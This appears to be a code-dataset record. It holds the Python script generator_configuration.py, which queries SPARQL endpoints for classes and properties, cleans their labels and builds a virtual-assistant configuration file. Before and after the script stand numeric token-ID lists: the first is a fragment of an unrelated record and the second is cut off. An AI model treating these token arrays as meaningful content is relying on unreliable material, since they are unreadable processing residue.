1400, 29918, 1989, 29892, 831, 29918, 1989, 297, 1583, 29889, 2490, 29918, 23813, 29889, 7076, 7295, 13, 18884, 20092, 29961, 2490, 29918, 1989, 29962, 353, 16280, 29918, 267, 29918, 1989, 29898, 4352, 29892, 831, 29918, 1989, 29897, 13, 9651, 9066, 353, 426, 13, 18884, 376, 3916, 29899, 1542, 1115, 376, 6214, 29914, 3126, 613, 13, 18884, 376, 23965, 1115, 376, 6214, 29914, 3126, 29936, 3090, 842, 29922, 9420, 29899, 29947, 29908, 13, 9651, 500, 13, 9651, 410, 29916, 583, 353, 11117, 991, 2396, 1583, 29889, 2490, 29918, 14701, 29913, 565, 1583, 29889, 2490, 29918, 14701, 1683, 6213, 13, 9651, 363, 3142, 297, 1583, 29889, 2490, 29918, 2271, 29901, 13, 18884, 1018, 29901, 13, 462, 1678, 2933, 353, 7274, 29889, 2490, 29898, 2271, 29892, 848, 29922, 3126, 29889, 29881, 17204, 29898, 23813, 29892, 1067, 29879, 29922, 11384, 8566, 6119, 511, 13, 462, 462, 632, 9066, 29922, 13662, 29892, 410, 29916, 583, 29922, 771, 29916, 583, 29897, 13, 462, 1678, 2933, 29889, 22692, 29918, 1454, 29918, 4882, 580, 13, 18884, 5174, 10729, 2451, 408, 321, 29901, 13, 462, 1678, 12020, 382, 29909, 2451, 703, 2392, 16742, 7331, 4918, 6655, 29901, 1273, 29879, 29908, 1273, 321, 29897, 13, 9651, 560, 579, 12888, 29918, 21707, 29889, 3888, 703, 10493, 4918, 6655, 2665, 23157, 13, 13, 1678, 822, 679, 29918, 3888, 29898, 1311, 1125, 13, 4706, 736, 11117, 1853, 2396, 525, 1124, 29918, 2490, 742, 13, 18884, 525, 1124, 29918, 2490, 29918, 2676, 20849, 29918, 2271, 2396, 1583, 29889, 2490, 29918, 2271, 29913, 13, 2 ]
generator_configuration.py
mariaangelapellegrino/virtual_assistant_generator
2
28863
from nltk.corpus import wordnet as wn import json from pyinflect import getAllInflections, getInflection import re import inflect import urllib.parse from SPARQLWrapper import SPARQLWrapper, JSON from urllib.parse import quote from py_thesaurus import Thesaurus import sys, getopt WN_NOUN = 'n' WN_VERB = 'v' WN_ADJECTIVE = 'a' WN_ADJECTIVE_SATELLITE = 's' WN_ADVERB = 'r' entities = {} properties = {} def nounify(verb_word): """ Transform a verb to the closest noun: die -> death """ verb_synsets = wn.synsets(verb_word, pos="v") # Word not found if not verb_synsets: return [] # Get all verb lemmas of the word verb_lemmas = [] for s in verb_synsets: for l in s.lemmas(): if s.name().split('.')[1] == 'v': verb_lemmas.append(l) print(verb_lemmas) # Get related forms derivationally_related_forms = [(l, l.derivationally_related_forms()) \ for l in verb_lemmas] # filter only the nouns related_noun_lemmas = [l for drf in derivationally_related_forms \ for l in drf[1] if l.synset().name().split('.')[1] == 'n'] # Extract the words from the lemmas words = [l.name() for l in related_noun_lemmas] len_words = len(words) # Build the result in the form of a list containing tuples (word, probability) result = [(w, float(words.count(w))/len_words) for w in set(words)] result.sort(key=lambda w: -w[1]) # return all the possibilities sorted by probability return result def convert(word, from_pos, to_pos): """ Transform words given from/to POS tags """ synsets = wn.synsets(word, pos=from_pos) # Word not found if not synsets: return [] # Get all lemmas of the word (consider 'a'and 's' equivalent) lemmas = [] for s in synsets: for l in s.lemmas(): if s.name().split('.')[1] == from_pos or from_pos in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE) and s.name().split('.')[1] in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE): lemmas += [l] # Get related forms derivationally_related_forms = [(l, l.derivationally_related_forms()) for l in lemmas] # filter only the desired pos (consider 'a' and 's' equivalent) related_noun_lemmas = [] for drf in derivationally_related_forms: for l in drf[1]: if l.synset().name().split('.')[1] == to_pos or to_pos in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE) and l.synset().name().split('.')[1] in (WN_ADJECTIVE, WN_ADJECTIVE_SATELLITE): related_noun_lemmas += [l] # Extract the words from the lemmas words = [l.name() for l in related_noun_lemmas] len_words = len(words) # Build the result in the form of a list containing tuples (word, probability) result = [(w, float(words.count(w)) / len_words) for w in set(words)] result.sort(key=lambda w:-w[1]) # return all the possibilities sorted by probability return result def clean_value(value): value = value.lower() value = value.replace("$", "dollar ") #value = value.replace("€", "euro ") temp = '' for word in value.split(): if word.startswith('%'): word = urllib.parse.unquote(word) temp = temp + " " + word value = temp value = re.sub(r"[%][a-zA-Z0-9]+", "", value) value = value.replace("&", "and") value = value.replace("/", " or ") value = re.sub(r"([(].*[)])", "", value) value = value.replace("'", "") value = value.replace('"', "") value = value.replace(':', "") value = value.replace(',', "") value = value.replace('<', "") value = value.replace('>', "") value = value.replace('(', "") value = value.replace(')', "") value = value.replace('!', "") value = value.replace('\\', "") value = value.replace('+', " ") value = value.replace("_", " ") p = inflect.engine() temp = '' for word in value.split(): if word.isdigit() or bool(re.match('^([0-9]|[,]|[.])*$',word)): word = p.number_to_words(word) temp = temp + " " + word value = temp value = value.strip() value = re.sub(r"[ \s\n\t]+", " ", value) return value def contains_special_characters(value): return not bool(re.match('^([a-zA-Z]|[ ]|[-])*$',value)) def remove_ambiguities_slot_properties(): global properties #with open('./augmented_slot_properties.json') as f: # properties = json.load(f) all_properties_value = list(properties.keys()) for key in properties: if 'synonyms' in properties[key]: synonyms = properties[key]['synonyms'] new_synoynms= [] for synonym in synonyms: if not synonym in all_properties_value: all_properties_value.append(synonym) new_synoynms.append(synonym) properties[key]['synonyms'] = new_synoynms #with open("./augmented_slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def augment_slot_properties(): global properties #with open('./cleaned_slot_properties.json') as f: # properties = json.load(f) for key in properties: # nouns to verbs verb_tuples = convert(key, 'n', 'v') verb_form = [] for verb_tuple in verb_tuples: value = verb_tuple[0] value = clean_value(value) verb_form.append(value) verb_form = set(verb_form) # add verb inflections for verb in verb_form: temp = getAllInflections(verb) inflections = [] for t in temp: value = temp[t][0] value = clean_value(value) inflections.append(value) inflections = set(inflections) verb_form = verb_form.union(inflections) verb_form = set(verb_form) if key in verb_form: verb_form.remove(key) verb_form = list(verb_form) # nouns to adjectives adjective_tuples = convert(key, 'n', 'a') adjective_form = [] for adjective_tuple in adjective_tuples: value = adjective_tuple[0] value = clean_value(value) adjective_form.append(value) adjective_form = set(adjective_form) if key in adjective_form: adjective_form.remove(key) adjective_form = list(adjective_form) ''' # noun synonyms synonyms = [clean_value(l.name()) for synset in wn.synsets(key) for l in synset.lemmas()] synonyms = set(synonyms) temp = set() for s in synonyms: if not s in all_augmented_value: temp.add(s) #if key in temp: # temp.remove(key) synonyms = list(temp) # combine all extended_synonyms = list(set(verb_form + synonyms + adjective_form)) ''' extended_synonyms = list(set(verb_form + adjective_form)) if extended_synonyms: properties[key]["synonyms"] = extended_synonyms #with open("./augmented_slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def clean_slot_properties(): global properties #with open('./slot_properties.json') as f: # properties = json.load(f) cleaned_properties = {} for key in properties: if contains_special_characters(key): new_key = clean_value(key) else: new_key = key if new_key and len(new_key.strip())>0 and not contains_special_characters(new_key): if not new_key in cleaned_properties: cleaned_properties[new_key] = {'urls':[]} cleaned_properties[new_key]['urls'] = list(set(cleaned_properties[new_key]['urls'] + properties[key]['urls'])) if 'synonyms' in properties[key]: if not 'synonyms' in cleaned_properties[new_key]: cleaned_properties[new_key]['synonyms'] = [] cleaned_properties[new_key]['synonyms'] = list(set(cleaned_properties[new_key]['synonyms'] + properties[key]['synonyms'])) #with open("./cleaned_slot_properties.json", "w") as write_file: # json.dump(cleaned_properties, write_file, indent=4) properties = cleaned_properties def augment_slot_entities(): with open('./cleaned_slot_entities.json') as f: entities = json.load(f) for key in entities: synonyms = [clean_value(l.name()) for synset in wn.synsets(key) for l in synset.lemmas()] synonyms = set(synonyms) if key in synonyms: synonyms.remove(key) synonyms = list(synonyms) if synonyms: entities[key]["synonyms"] = synonyms with open("./augmented_slot_entities.json", "w") as write_file: json.dump(entities, write_file, indent=4) def clean_slot_entities(): global entities #with open('./slot_entities.json') as f: # entities = json.load(f) cleaned_entities = {} for key in entities: if contains_special_characters(key): new_key = clean_value(key) else: new_key = key if new_key and len(new_key.strip())>0 and not contains_special_characters(new_key): if not new_key in cleaned_entities: cleaned_entities[new_key] = {'urls':[]} cleaned_entities[new_key]['urls'] = list(set(cleaned_entities[new_key]['urls'] + entities[key]['urls'])) if 'synonyms' in entities[key]: if not 'synonyms' in cleaned_entities[new_key]: cleaned_entities[new_key]['synonyms'] = [] cleaned_entities[new_key]['synonyms'] = list(set(cleaned_entities[new_key]['synonyms'] + entities[key]['synonyms'])) #with open("./cleaned_slot_entities.json", "w") as write_file: # json.dump(cleaned_entities, write_file, indent=4) entities = cleaned_entities def generate_entity_label(slot): parts = slot["class"]["value"].split("/") label = parts[-1] if "#" in label: parts = label.split("#") label = parts[-1] s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', label) label = re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() label = label.replace("_", " ") return label def store_entities(result): global entities for slot in result["results"]["bindings"]: if "label" not in slot or "value" not in slot["label"] : label = generate_entity_label(slot) else: label = slot["label"]["value"] label = label.lower() if len(label) < 140: if label not in entities: entities[label] = {"urls" : set()} entities[label]["urls"].add("<"+slot["class"]["value"]+">") def query_skosConcepts(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX skos: <http://www.w3.org/2004/02/skos/core#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a skos:Concept." "OPTIONAL{ " "?class skos:prefLabel ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK skos:concepts query") except: print("Failed skos:concepts query") pass def query_rdfsClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a rdfs:Class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK rdfs:classes query") except: print("Failed rdfs:classes query") pass def query_owlClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX owl: <http://www.w3.org/2002/07/owl#> " "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "?class a owl:Class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) result = sparql.query().convert() try: result = sparql.query().convert() store_entities(result) print("OK owl classes query") except: print("Failed owl classes query") pass def query_usedClasses(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?class ?label WHERE { " "[] a ?class. " "OPTIONAL{ " "?class rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} ") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_entities(result) print("OK used classes query") except: print("Failed used classes query") pass def query_entities(sparql_endpoint, defaultGraph = "", lang="en"): global entities query_usedClasses(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_skosConcepts(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_rdfsClasses(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_owlClasses(sparql_endpoint, defaultGraph= defaultGraph, lang= lang) for e in entities: entities[e]["urls"] = list(entities[e]["urls"]) #with open("./slot_entities.json", "w") as write_file: # json.dump(entities, write_file, indent=4) def generate_property_label(slot): parts = slot["p"]["value"].split("/") label = parts[-1] if "#" in label: parts = label.split("#") label = parts[-1] s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', label) label = re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() label = label.replace("_", " ") return label def store_properties(result): global properties for slot in result["results"]["bindings"]: if "label" not in slot or "value" not in slot["label"] : label = generate_property_label(slot) else: label = slot["label"]["value"] label = label.lower() if len(label) < 140: if label not in properties: properties[label] = {"urls" : set()} properties[label]["urls"].add("<"+slot["p"]["value"]+">") def query_rdfProperty(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "PREFIX rdf: <https://www.w3.org/1999/02/22-rdf-syntax-ns#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type rdf:Property. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK rdf:Property query") except: print("failed rdf:Property query") pass def query_owlDatatypeProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>" "PREFIX owl: <http://www.w3.org/2002/07/owl#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type owl:DatatypeProperty. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK owl:DatatypeProperty query") except: print("failed owl:DatatypeProperty query") pass def query_owlObjectProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>" "PREFIX owl: <http://www.w3.org/2002/07/owl#>" "SELECT DISTINCT ?p ?label WHERE { " "?p rdf:type owl:ObjectProperty. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK owl:ObjectProperty query") except: print("failed owl:ObjectProperty query") pass def query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("SELECT DISTINCT ?p WHERE { ?s ?p ?o. }") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK used property without labels query") except: print("failed used property without labels query") pass def query_usedProperties(sparql_endpoint, defaultGraph = "", lang="en"): sparql = SPARQLWrapper(sparql_endpoint, defaultGraph=defaultGraph) query = ("PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> " "SELECT DISTINCT ?p ?label WHERE { " "?s ?p ?o. " "OPTIONAL{ " "?p rdfs:label ?label. " "FILTER(LANG(?label)='"+lang+"')" "}" "} LIMIT 500") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() store_properties(result) print("OK used property with labels query") except: print("failed used property with labels query") query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph, lang) def query_properties(sparql_endpoint, defaultGraph = "", lang="en"): global properties #query_usedProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_usedPropertiesWithoutLabels(sparql_endpoint, defaultGraph=defaultGraph, lang=lang) query_owlObjectProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_owlDatatypeProperties(sparql_endpoint, defaultGraph=defaultGraph, lang= lang) query_rdfProperty(sparql_endpoint, defaultGraph= defaultGraph, lang= lang) for p in properties: properties[p]["urls"] = list(properties[p]["urls"]) #with open("./slot_properties.json", "w") as write_file: # json.dump(properties, write_file, indent=4) def main(argv): endpoint = "" # e.g., "http://dbpedia.org/sparql" defaultGraph = "" # e.g., "http://dbpedia.org" lang = None #"en" default invocation_name = None #"my personal assistant" default intents = [ "getAllResultsPreviousQuery", "getQueryExplanation", "getFurtherDetails", "getPropertyObject", "getDescription", "getNumericFilter", "getNumericFilterByClass", "getClassInstances", "getTripleVerification", "getLocation", "getSuperlative", "getPropertySubjectByClass", "getPropertySubject" ] result_limit = 5 if len(argv) == 0: print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit(2) try: opts, args = getopt.getopt(argv,"he:g:li:",["endpoint=","graph=","lang","invocation_name"]) except getopt.GetoptError: print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit(2) for opt, arg in opts: if opt == '-h': print('generator_configuration.py -e SPARQ_endpoint -g default graph [-l lang -i invocation name]') sys.exit() elif opt in ("-e", "--endpoint"): endpoint = arg elif opt in ("-g", "--graph"): defaultGraph = arg elif opt in ("-l", "--lang") and (arg == "en" or arg == "it"): lang = arg elif opt in ("-i", "--invocation_name"): invocation_name = arg if lang is None: lang="en" if invocation_name is None: invocation_name = "my personal assistant" print('SPARQL endpoint: ', endpoint) print('Graph: ', defaultGraph) print('Lang: ', lang) print('Invocation name: ', invocation_name) print("Querying entities...") query_entities(endpoint, defaultGraph=defaultGraph, lang=lang) print("Cleaning class labels...") clean_slot_entities() #print("Augmenting class labels...") #augment_slot_entities() print("Querying properties...") query_properties(endpoint, defaultGraph=defaultGraph, lang=lang) print("Cleaning property labels...") clean_slot_properties() print("Augmenting property labels...") augment_slot_properties() remove_ambiguities_slot_properties() ''' with open('./augmented_slot_properties.json') as f: properties = json.load(f) ''' if "label" in properties and len(properties["label"]["urls"])>1: dict_label = {} for prop_label in properties["label"]["urls"]: sparql = SPARQLWrapper(endpoint, defaultGraph=defaultGraph) query = ("SELECT COUNT(*) as ?count WHERE { " "?s " + prop_label + " ?o. " "}") sparql.setQuery(query) sparql.setReturnFormat(JSON) try: result = sparql.query().convert() result = result['results']['bindings'][0] dict_label[prop_label] = result['count']['value'] except: pass key_max = max(dict_label, key= lambda x: dict_label[x]) properties["label"]["urls"] = [key_max] ''' with open('./cleaned_slot_entities.json') as f: entities = json.load(f) ''' conf = { "invocation_name" : invocation_name, "intents" : intents, "lang" : lang, "result_limit" : result_limit, "endpoint" : endpoint, "entity" : entities, "property" : properties } with open("./conf.json", "w") as write_file: json.dump(conf, write_file, indent=4) if __name__ == "__main__": main(sys.argv[1:])
[ 1, 515, 302, 1896, 29895, 29889, 2616, 13364, 1053, 1734, 1212, 408, 281, 29876, 13, 5215, 4390, 13, 3166, 11451, 7192, 781, 1053, 679, 3596, 25433, 5942, 29892, 679, 25433, 1464, 13, 5215, 337, 13, 5215, 3041, 781, 13, 5215, 3142, 1982, 29889, 5510, 13, 3166, 10937, 1718, 2239, 15646, 1053, 10937, 1718, 2239, 15646, 29892, 4663, 13, 3166, 3142, 1982, 29889, 5510, 1053, 14978, 13, 3166, 11451, 29918, 26041, 6698, 375, 1053, 498, 267, 6698, 375, 13, 5215, 10876, 29892, 679, 3670, 13, 13, 16048, 29918, 6632, 3904, 353, 525, 29876, 29915, 13, 16048, 29918, 5348, 29933, 353, 525, 29894, 29915, 13, 16048, 29918, 3035, 17637, 18474, 353, 525, 29874, 29915, 13, 16048, 29918, 3035, 17637, 18474, 29918, 29903, 3040, 2208, 9094, 353, 525, 29879, 29915, 13, 16048, 29918, 3035, 5348, 29933, 353, 525, 29878, 29915, 13, 13, 13, 296, 1907, 353, 6571, 13, 11330, 353, 6571, 13, 13, 13, 1753, 302, 1309, 1598, 29898, 18248, 29918, 1742, 1125, 13, 1678, 9995, 4103, 689, 263, 9750, 304, 278, 21438, 302, 1309, 29901, 762, 1599, 4892, 9995, 13, 1678, 9750, 29918, 19274, 7224, 353, 281, 29876, 29889, 19274, 7224, 29898, 18248, 29918, 1742, 29892, 926, 543, 29894, 1159, 13, 13, 1678, 396, 10803, 451, 1476, 13, 1678, 565, 451, 9750, 29918, 19274, 7224, 29901, 13, 4706, 736, 5159, 13, 13, 1678, 396, 3617, 599, 9750, 454, 4317, 294, 310, 278, 1734, 13, 1678, 9750, 29918, 2409, 8247, 353, 5159, 13, 1678, 363, 269, 297, 9750, 29918, 19274, 7224, 29901, 13, 4706, 363, 301, 297, 269, 29889, 2409, 8247, 7295, 13, 9651, 565, 269, 29889, 978, 2141, 5451, 12839, 29861, 29896, 29962, 1275, 525, 29894, 2396, 13, 18884, 9750, 29918, 2409, 8247, 29889, 4397, 29898, 29880, 29897, 13, 13, 1678, 1596, 29898, 18248, 29918, 2409, 8247, 29897, 13, 13, 13, 1678, 396, 3617, 4475, 7190, 13, 1678, 7750, 362, 635, 29918, 12817, 29918, 9514, 353, 17288, 29880, 29892, 301, 29889, 672, 440, 362, 635, 29918, 12817, 29918, 9514, 3101, 320, 13, 462, 462, 1678, 363, 301, 297, 1678, 9750, 29918, 2409, 8247, 29962, 13, 13, 1678, 396, 4175, 871, 278, 302, 1309, 29879, 13, 1678, 4475, 29918, 29876, 1309, 29918, 2409, 8247, 353, 518, 29880, 363, 4192, 29888, 297, 7750, 362, 635, 29918, 12817, 29918, 9514, 320, 13, 462, 965, 363, 301, 297, 4192, 29888, 29961, 29896, 29962, 565, 301, 29889, 19274, 842, 2141, 978, 2141, 5451, 12839, 29861, 29896, 29962, 1275, 525, 29876, 2033, 13, 13, 1678, 396, 7338, 1461, 278, 3838, 515, 278, 454, 4317, 294, 13, 1678, 3838, 353, 518, 29880, 29889, 978, 580, 363, 301, 297, 4475, 29918, 29876, 1309, 29918, 2409, 8247, 29962, 13, 1678, 7431, 29918, 9303, 353, 7431, 29898, 9303, 29897, 13, 13, 1678, 396, 8878, 278, 1121, 297, 278, 883, 310, 263, 1051, 6943, 5291, 2701, 313, 1742, 29892, 6976, 29897, 13, 1678, 1121, 353, 17288, 29893, 29892, 5785, 29898, 9303, 29889, 2798, 29898, 29893, 876, 29914, 2435, 29918, 9303, 29897, 363, 281, 297, 731, 29898, 9303, 4638, 13, 1678, 1121, 29889, 6605, 29898, 1989, 29922, 2892, 281, 29901, 448, 29893, 29961, 29896, 2314, 13, 13, 1678, 396, 736, 599, 278, 24496, 12705, 491, 6976, 13, 1678, 736, 1121, 13, 13, 13, 1753, 3588, 29898, 1742, 29892, 515, 29918, 1066, 29892, 304, 29918, 1066, 1125, 268, 13, 1678, 9995, 4103, 689, 3838, 2183, 515, 29914, 517, 349, 3267, 8282, 9995, 13, 13, 1678, 5222, 7224, 353, 281, 29876, 29889, 19274, 7224, 29898, 1742, 29892, 926, 29922, 3166, 29918, 1066, 29897, 13, 13, 1678, 396, 10803, 451, 1476, 13, 1678, 565, 451, 5222, 7224, 29901, 13, 4706, 736, 5159, 13, 13, 1678, 396, 3617, 599, 454, 4317, 294, 310, 278, 1734, 313, 3200, 1241, 525, 29874, 29915, 392, 525, 29879, 29915, 7126, 29897, 13, 1678, 454, 4317, 294, 353, 5159, 13, 1678, 363, 269, 297, 5222, 7224, 29901, 13, 4706, 363, 301, 297, 269, 29889, 2409, 8247, 7295, 13, 9651, 565, 269, 29889, 978, 2141, 5451, 12839, 29861, 29896, 29962, 1275, 515, 29918, 1066, 470, 515, 29918, 1066, 297, 313, 16048, 29918, 3035, 17637, 18474, 29892, 399, 29940, 29918, 3035, 17637, 18474, 29918, 29903, 3040, 2208, 9094, 29897, 322, 269, 29889, 978, 2141, 5451, 12839, 29861, 29896, 29962, 297, 313, 16048, 29918, 3035, 17637, 18474, 29892, 399, 29940, 29918, 3035, 17637, 18474, 29918, 29903, 3040, 2208, 9094, 1125, 13, 18884, 454, 4317, 294, 4619, 518, 29880, 29962, 13, 13, 1678, 396, 3617, 4475, 7190, 13, 1678, 7750, 362, 635, 29918, 12817, 29918, 9514, 353, 17288, 29880, 29892, 301, 29889, 672, 440, 362, 635, 29918, 12817, 29918, 9514, 3101, 363, 301, 297, 454, 4317, 294, 29962, 13, 13, 1678, 396, 4175, 871, 278, 7429, 926, 313, 3200, 1241, 525, 29874, 29915, 322, 525, 29879, 29915, 7126, 29897, 13, 1678, 4475, 29918, 29876, 1309, 29918, 2409, 8247, 353, 5159, 13, 13, 1678, 363, 4192, 29888, 297, 7750, 362, 635, 29918, 12817, 29918, 9514, 29901, 13, 4706, 363, 301, 297, 4192, 29888, 29961, 29896, 5387, 13, 9651, 565, 301, 29889, 19274, 842, 2141, 978, 2141, 5451, 12839, 29861, 29896, 29962, 1275, 304, 29918, 1066, 470, 304, 29918, 1066, 297, 313, 16048, 29918, 3035, 17637, 18474, 29892, 399, 29940, 29918, 3035, 17637, 18474, 29918, 29903, 3040, 2208, 9094, 29897, 322, 301, 29889, 19274, 842, 2141, 978, 2141, 5451, 12839, 29861, 29896, 29962, 297, 313, 16048, 29918, 3035, 17637, 18474, 29892, 399, 29940, 29918, 3035, 17637, 18474, 29918, 29903, 3040, 2208, 9094, 1125, 13, 18884, 4475, 29918, 29876, 1309, 29918, 2409, 8247, 4619, 518, 29880, 29962, 13, 13, 1678, 396, 7338, 1461, 278, 3838, 515, 278, 454, 4317, 294, 13, 1678, 3838, 353, 518, 29880, 29889, 978, 580, 363, 301, 297, 4475, 29918, 29876, 1309, 29918, 2409, 8247, 29962, 13, 1678, 7431, 29918, 9303, 353, 7431, 29898, 9303, 29897, 13, 13, 1678, 396, 8878, 278, 1121, 297, 278, 883, 310, 263, 1051, 6943, 5291, 2701, 313, 1742, 29892, 6976, 29897, 13, 1678, 1121, 353, 17288, 29893, 29892, 5785, 29898, 9303, 29889, 2798, 29898, 29893, 876, 847, 7431, 29918, 9303, 29897, 363, 281, 297, 731, 29898, 9303, 4638, 13, 1678, 1121, 29889, 6605, 29898, 1989, 29922, 2892, 281, 13018, 29893, 29961, 29896, 2314, 13, 13, 1678, 396, 736, 599, 278, 24496, 12705, 491, 6976, 13, 1678, 736, 1121, 13, 13, 1753, 5941, 29918, 1767, 29898, 1767, 1125, 13, 13, 1678, 995, 353, 995, 29889, 13609, 580, 13, 13, 1678, 995, 353, 995, 29889, 6506, 703, 29938, 613, 376, 29881, 26810, 16521, 13, 1678, 396, 1767, 353, 995, 29889, 6506, 703, 30181, 613, 376, 29872, 2192, 16521, 13, 268, 13, 1678, 5694, 353, 6629, 13, 1678, 363, 1734, 297, 995, 29889, 5451, 7295, 13, 4706, 565, 1734, 29889, 27382, 2541, 877, 29001, 1125, 13, 9651, 1734, 353, 3142, 1982, 29889, 5510, 29889, 348, 1396, 29898, 1742, 29897, 13, 4706, 5694, 353, 5694, 718, 376, 376, 718, 1734, 13, 1678, 995, 353, 5694, 13, 13, 1678, 995, 353, 337, 29889, 1491, 29898, 29878, 29908, 29961, 29995, 3816, 29874, 29899, 25265, 29899, 29999, 29900, 29899, 29929, 10062, 613, 12633, 995, 29897, 13, 13, 1678, 995, 353, 995, 29889, 6506, 703, 29987, 613, 376, 392, 1159, 13, 1678, 995, 353, 995, 29889, 6506, 11974, 613, 376, 470, 16521, 13, 1678, 995, 353, 337, 29889, 1491, 29898, 29878, 29908, 4197, 29898, 1822, 29930, 29961, 29897, 2314, 613, 12633, 995, 29897, 13, 1678, 995, 353, 995, 29889, 6506, 703, 29915, 613, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29908, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29901, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 29317, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29966, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29958, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29317, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29897, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29991, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 1966, 742, 20569, 13, 1678, 995, 353, 995, 29889, 6506, 877, 29974, 742, 376, 16521, 13, 1678, 995, 353, 995, 29889, 6506, 703, 29918, 613, 376, 16521, 13, 13, 1678, 282, 353, 3041, 781, 29889, 10599, 580, 13, 1678, 5694, 353, 6629, 13, 1678, 363, 1734, 297, 995, 29889, 5451, 7295, 13, 4706, 565, 1734, 29889, 275, 26204, 580, 470, 6120, 29898, 276, 29889, 4352, 877, 29985, 4197, 29900, 29899, 29929, 29962, 29989, 21939, 29962, 29989, 29961, 29889, 2314, 29394, 742, 1742, 22164, 13, 9651, 1734, 353, 282, 29889, 4537, 29918, 517, 29918, 9303, 29898, 1742, 29897, 13, 4706, 5694, 353, 5694, 718, 376, 376, 718, 1734, 13, 1678, 995, 353, 5694, 13, 13, 1678, 995, 353, 995, 29889, 17010, 580, 13, 1678, 995, 353, 337, 29889, 1491, 29898, 29878, 29908, 29961, 320, 29879, 29905, 29876, 29905, 29873, 10062, 613, 376, 9162, 995, 29897, 13, 13, 1678, 736, 995, 13, 13, 1753, 3743, 29918, 18732, 29918, 3090, 21706, 29898, 1767, 1125, 13, 1678, 736, 451, 6120, 29898, 276, 29889, 4352, 877, 29985, 4197, 29874, 29899, 25265, 29899, 29999, 29962, 29989, 29961, 4514, 29989, 14352, 2314, 29394, 742, 1767, 876, 13, 13, 1753, 3349, 29918, 14727, 1907, 29918, 2536, 327, 29918, 11330, 7295, 13, 1678, 5534, 